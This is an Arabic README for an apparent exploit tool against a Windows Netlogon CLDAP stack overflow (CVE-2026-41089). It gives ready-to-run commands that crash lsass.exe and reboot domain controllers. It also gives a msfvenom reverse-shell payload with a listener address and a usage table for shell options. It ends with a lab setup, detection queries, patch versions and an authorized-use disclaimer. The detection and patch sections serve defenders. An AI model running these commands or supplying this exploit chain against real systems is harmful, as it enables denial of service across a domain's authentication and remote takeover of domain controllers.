
CVE-2026-41089 هو ثغرة خطيرة لتنفيذ الكود عن بُعد في خدمة Windows Netlogon، حيث يمكن لحزمة واحدة أن تتسبب في تعطل lsass.exe، مما يؤدي إلى إعادة تشغيل وحدة تحكم المجال خلال حوالي 30-60 ثانية. خلال هذه الفترة، ستفشل جميع عمليات مصادقة المجال في وحدة تحكم المجال هذه.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (Stack-based Buffer Overflow)
ناقل الهجوم: UDP/389 (CLDAP SearchRequest)
التأثير: تنفيذ تعليمات برمجية عن بُعد (RCE) / رفض الخدمة (DoS)
الإصدارات المتأثرة: Windows Server 2012 R2 ~ 2025 (وحدات تحكم النطاق)
التصحيح: التحديث التراكمي لشهر مايو 2026
توجد ثغرة تجاوز سعة المخزن المؤقت للمكدس في وظيفة NetpLogonPutUnicodeString الموجودة في netlogon.dll عند معالجة طلبات بحث CLDAP. تستقبل هذه الوظيفة ميزانية طول بالبايت، ولكنها تفسرها على أنها عدد WCHAR، مما يؤدي إلى كتابة ضعف الكمية المتوقعة.
يحدث الفائض في المخزن المؤقت للمكدس الثابت 528 بايت (264 ushort) في وظيفة NlGetLocalPingResponse. حقل User الذي يتحكم به المهاجم بالإضافة إلى اسم DNS الخاص بالخادم يملآن هذا المخزن المؤقت، مما يؤدي في النهاية إلى تجاوز GS Security Cookie والتسبب في تعطل و .
__report_gsfailurelsass.exeNtVer=0x02 (يفرض استخدام المسار القديم الثغري BuildSamLogonResponse)User ≥ حوالي 130 حرفًا (الحد الأقصى الثنائي حوالي 260 بايت UTF-16)ملاحظة:
NtVer=0x16(القيمة المستخدمة في العديد من نصوص الكشف العامة) تؤدي إلى تشغيل المسار الآمنBuildSamLogonResponseEx، ولا تؤدي إلى تشغيل الثغرة.
| الوضع | الوصف |
|---|---|
--mode dos | إرسال حزمة CLDAP مصممة بعناية تؤدي إلى تعطل LSASS وإعادة تشغيل DC (انقطاع المصادقة لمدة ~60 ثانية) |
--mode rce | محاولة تنفيذ تعليمات برمجية عن بُعد (على مستوى بحثي، يتطلب shellcode) |
--mode scan | مسح استجابات قيم NtVer المختلفة لتحديد بصمة DC المستهدف |
--mode auto | الكشف التلقائي واختيار أفضل استراتيجية هجوم |
حزمة واحدة تكفي لتعطل lsass.exe، مما يؤدي إلى إعادة تشغيل وحدة تحكم النطاق خلال حوالي 30-60 ثانية. خلال هذه الفترة، ستفشل جميع مصادقات النطاق على هذا DC.
# الاستخدام الأساسي — إرسال 3 حزم
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# هجوم سريع بحزمة واحدة
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# الوضع العدواني — 5 حزم متزامنة
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ على مستوى بحثي — غير موثوق به وغير مستقر في البيئات الحقيقية.
يواجه RCE التحديات التالية:
# إنشاء shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# إرسال سلسلة RCE
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# تحديد بصمة DC المستهدف
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
مثال على الإخراج المتوقع (هدف مصحح):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
مثال على الإخراج المتوقع (هدف غير مصحح):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← تعطل LSASS!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
إذا انتهت مهلة NtVer=0x02 بينما استجابت الإصدارات الأخرى بشكل طبيعي، فمن المحتمل جدًا أن الهدف به ثغرة.
| المعلمة | الوصف | القيمة الافتراضية |
|---|---|---|
-l, --user-len | طول حقل اسم المستخدم (عدد أحرف ASCII) | 180 |
--ntver | قيمة NtVer (سداسي عشري، مثل 0x02) | 0x02 |
--count | عدد حزم DoS المرسلة | 3 |
--delay | التأخير بين الحزم (ثوانٍ) | 0.5 |
-t, --timeout | مهلة المقبس (ثوانٍ) | 5.0 |
--json | إخراج النتائج بتنسيق JSON | — |
--raw | طباعة الحزمة الخام بالست عشري قبل الإرسال | — |
--quiet | إخفاء إخراج الشعار | — |
--shellcode-file | ملف shellcode مخصص (x64 خام) | — |
--lhost | عنوان استماع الصدفة العكسية | — |
--lport | منفذ استماع الصدفة العكسية | 4444 |
# إنشاء DC باسم نطاق طويل على Windows Server (غير مصحح):
# 1. رفع إلى وحدة تحكم نطاق (اسم DNS طويل جدًا، مثل "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. تأكد من تثبيت التصحيحات قبل مايو 2026
# 3. تشغيل من جهاز المهاجم:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. مراقبة تعطل DC وإعادة تشغيله
User > 100 بايت و NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| إصدار Windows Server | رقم إصدار التصحيح | ملاحظات |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
هذه الأداة مخصصة فقط لـ تقييم الأمن المصرح به، واختبار الاختراق، ومسابقات CTF، والبحث الدفاعي. استخدام هذه الأداة على أي نظام دون الحصول على إذن كتابي صريح يعد غير قانوني. يتحمل المستخدم المسؤولية القانونية الكاملة.